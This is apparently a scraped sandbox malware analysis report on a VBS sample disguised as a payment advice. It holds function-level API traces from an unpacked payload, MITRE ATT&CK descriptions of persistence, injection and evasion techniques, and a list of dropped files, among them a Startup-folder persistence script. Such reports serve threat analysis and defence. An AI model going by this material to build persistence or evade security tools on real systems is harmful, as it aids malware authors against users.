CopyImage.USER32(?,00000000,?,?,00000000), ref: 004069FE
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00406752

Part of subcall function 004061E0: GetObjectA.GDI32(00000000,00000018), ref: 004061F2

Part of subcall function 00406154: GetDC.USER32(00000000), ref: 00406177
Part of subcall function 00406154: CreateDIBSection.GDI32(00000000,?,00000000,00000041,00000000,00000000), ref: 00406192
Part of subcall function 00406154: ReleaseDC.USER32(00000000,00000000), ref: 0040619D

CopyImage.USER32(?,00000000,?,?,00000000), ref: 00406A93

Strings

(, xrefs: 004068DE

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Object$CopyImage$CreateReleaseSection
String ID: (
API String ID: 1382064897-3887548279
Opcode ID: b87f20a83175f2906a7489a7fbf9040407ae31a25fa5465e07b5007ee3421fdb
Instruction ID: 8b23a46e2d3205504fa6020bfc4f244d26e515b74d7163ba5290a0ebff7405a2
Opcode Fuzzy Hash: b87f20a83175f2906a7489a7fbf9040407ae31a25fa5465e07b5007ee3421fdb
Instruction Fuzzy Hash: 37E16170A002189BDB10EBA9D885AAEB7F5AF49304F11807BF405FB3C1DA3D9D55CB69

Function 004071D0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00407318
SetFileAttributesA.KERNEL32(00000000,00000000,00000000), ref: 0040732A

Part of subcall function 00404B68: CreateFileA.KERNEL32(00408220,80000301,80000301,00000000,80000301,80000301,00000000,00404CB4,00000000,00404CE6), ref: 00404B88

SetFileAttributesA.KERNEL32(00000000,00000000,00000000), ref: 00407461

Part of subcall function 00404BC4: ReadFile.KERNEL32(00000000,0040A698,?,?,00000000,00000000,?,00404CC7,00000000,00404CE6), ref: 00404BCF

Part of subcall function 00404BB4: SetFilePointer.KERNEL32(00000000,000003E8,00000000,?,00407179,00000000,004071BF,?,00000000), ref: 00404BBC

Part of subcall function 00404BE0: WriteFile.KERNEL32(00000000,0040A698,0000A200,?,00000000,?,?,0040742B), ref: 00404BEA

Strings

Z, xrefs: 004073C3
ion utilit, xrefs: 0040735E, 0040736D
M, xrefs: 004073B6
\PROGRA~1\, xrefs: 004072C8

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: File$Attributes$CreatePointerReadWrite
String ID: M$Z$\PROGRA~1\$ion utilit
API String ID: 997383822-325409890
Opcode ID: 3325f7f34ba1cab3d3c53affcca57471aa0c7a6c0db11dbc350d39af7ef534dd
Instruction ID: 377d96c4788612fdddee84976f6eb16641268004b287eb3b442383de46351668
Opcode Fuzzy Hash: 3325f7f34ba1cab3d3c53affcca57471aa0c7a6c0db11dbc350d39af7ef534dd
Instruction Fuzzy Hash: 71514370B042045BDB10FB6ACC82A8EB7A59F85308F1085BBB504B73D3DA7DEF454A5A

Function 00402F18 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00402FE6,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000,00000000), ref: 00402F51
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00402FE6,?,00000000,?,00000001,00403086,004024E3,0040252B,00000000), ref: 00402F57
GetStdHandle.KERNEL32(000000F5,00402FA0,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00402FE6,?,00000000), ref: 00402F6C
WriteFile.KERNEL32(00000000,000000F5,00402FA0,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00402FE6,?,00000000), ref: 00402F72
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00402F90

Strings

Error, xrefs: 00402F84
Runtime error at 00000000, xrefs: 00402F4A, 00402F89

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 3a9f92cc1793bd906a324f4b2820f365d342c083d99e01712e2be0f2c1988d27
Instruction ID: 6c3b7e42d3c7ef80f9ab9078d96d43441ff44d86987642024caec186a117226f
Opcode Fuzzy Hash: 3a9f92cc1793bd906a324f4b2820f365d342c083d99e01712e2be0f2c1988d27
Instruction Fuzzy Hash: 5AF0B47168438538E630A3609F0EF5A226C4744B99F20467FB660781F6C7FC58C4921E

Function 0040184C Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0040A5B4,00000000,00401922), ref: 00401879
LocalFree.KERNEL32(00000000,00000000,00401922), ref: 0040188B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,00401922), ref: 004018AA
LocalFree.KERNEL32(00000000,00000000,00000000,00008000,00000000,00000000,00401922), ref: 004018E9
RtlLeaveCriticalSection.KERNEL32(0040A5B4,00401929,00000000,00000000,00401922), ref: 00401912
RtlDeleteCriticalSection.KERNEL32(0040A5B4,00401929,00000000,00000000,00401922), ref: 0040191C

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 02c6954cbcb64e56162da80bdf3b7417e68cd6eb195c9a2433517f3198adb53e
Instruction ID: 2c75820c4bf2e6ed0dab6d922aeac6927b5e2e4dc662dc8188128fe539cf0cf0
Opcode Fuzzy Hash: 02c6954cbcb64e56162da80bdf3b7417e68cd6eb195c9a2433517f3198adb53e
Instruction Fuzzy Hash: FD1182B1704380AEE715EBA69D92B1277E8B745708F14847BF140B66F2C67D9860CB1E

Function 00402838 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0040285A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,004028A9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0040288D
RegCloseKey.ADVAPI32(?,004028B0,00000000,?,00000004,00000000,004028A9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 004028A3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 00402850
FPUMaskValue, xrefs: 00402884

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: ee928b2e9c36cee54b4de11c3a3cd2293e0062a039f5b8df71b0887b07d0b7b2
Instruction ID: a813fbf5fdd61ad2e6297c1d03dc0b5dcb1e266bf9714427259c3b0395662638
Opcode Fuzzy Hash: ee928b2e9c36cee54b4de11c3a3cd2293e0062a039f5b8df71b0887b07d0b7b2
Instruction Fuzzy Hash: 9D018D7A940308B9EB11EF90CD46FEA77ACDB04700F104177B904F65D0E6785A54D79C

Function 00401788 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0040A5B4,00000000,0040183E,?,?,00402022,0040A5F4,00000000,00000000,?,?,00401A11,00401A26,00401B77), ref: 0040179E
RtlEnterCriticalSection.KERNEL32(0040A5B4,0040A5B4,00000000,0040183E,?,?,00402022,0040A5F4,00000000,00000000,?,?,00401A11,00401A26,00401B77), ref: 004017B1
LocalAlloc.KERNEL32(00000000,00000FF8,0040A5B4,00000000,0040183E,?,?,00402022,0040A5F4,00000000,00000000,?,?,00401A11,00401A26,00401B77), ref: 004017DB
RtlLeaveCriticalSection.KERNEL32(0040A5B4,00401845,00000000,0040183E,?,?,00402022,0040A5F4,00000000,00000000,?,?,00401A11,00401A26,00401B77), ref: 00401838

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: c9b9ab944485395422a6771bfcf5214d8e6e603dede59e4d299fed86385dc31f
Instruction ID: b00ea9f5082304a52c30b3310984ccb38099dd734a88c9f27aa2559637ee1f83
Opcode Fuzzy Hash: c9b9ab944485395422a6771bfcf5214d8e6e603dede59e4d299fed86385dc31f
Instruction Fuzzy Hash: 400184B0604380AEE715AF6A9D06B167BA4E749704F04C53FA140B66F2CA7D44A0CB5F

Function 00406520 Relevance: 6.0, APIs: 4, Instructions: 38windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004064E4: DestroyCursor.USER32(00000000), ref: 004064F3

GetIconInfo.USER32(?), ref: 00406540
GetObjectA.GDI32(?,00000018,?), ref: 00406551
DeleteObject.GDI32(?), ref: 00406566
DeleteObject.GDI32(?), ref: 00406574

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: Object$Delete$CursorDestroyIconInfo
String ID:
API String ID: 3133107492-0
Opcode ID: 57e2f9da13108c725cafe308d1a9a1f75ba6bb4e307d61bf9a431e00cd326d96
Instruction ID: 2ae9454a62f4479f67ab2556911db7116a2ee9a23fb28f719fd143bfb6d196f5
Opcode Fuzzy Hash: 57e2f9da13108c725cafe308d1a9a1f75ba6bb4e307d61bf9a431e00cd326d96
Instruction Fuzzy Hash: B9F06DB1A003117BCB00EE7AAC8594B72DC9F44750B02083EB940FB386E638DD6487E9

Function 00406B48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120windowCOMMON

Download Yara Rule

APIs

GetIconInfo.USER32(?,?), ref: 00406C00
DeleteObject.GDI32(?), ref: 00406C70

Strings

,k@, xrefs: 00406BD6, 00406C8B

Memory Dump Source

Source File: 0000000E.00000002.2257773061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_InstallUtil.jbxd

Similarity

API ID: DeleteIconInfoObject
String ID: ,k@
API String ID: 2689914137-1053005162
Opcode ID: 5b49ef8e9806a3f921fc3957ab8aab80d154f68e659bcce45d0d70881c4801f7
Instruction ID: dacdd831d29519e08e7e99a77df17fc26ef5cc856f0b9114ccf97923e4886ce8
Opcode Fuzzy Hash: 5b49ef8e9806a3f921fc3957ab8aab80d154f68e659bcce45d0d70881c4801f7
Instruction Fuzzy Hash: 9F413AB0E0021A9FDB14DF99C881AAEBBB4FF48314F11407AD942B7391D734AE51CB98

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PaymentAdvice-1629043.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\3582-490\InstallUtil.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3l1v5hpf.sxo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ft3me0zk.5wi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5vyqr4d.lsd.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_walj3rjd.kd3.psm1

C:\Users\user\AppData\Local\Temp\tmp5023.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs

C:\Users\user\AppData\Roaming\Value.vbs

C:\Users\user\AppData\Roaming\Value.vbs.exe

C:\Users\user\AppData\Roaming\Value.vbs:Zone.Identifier

C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

Static File Info

General

File Icon

Windows Analysis Report
PaymentAdvice-1629043.vbs

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre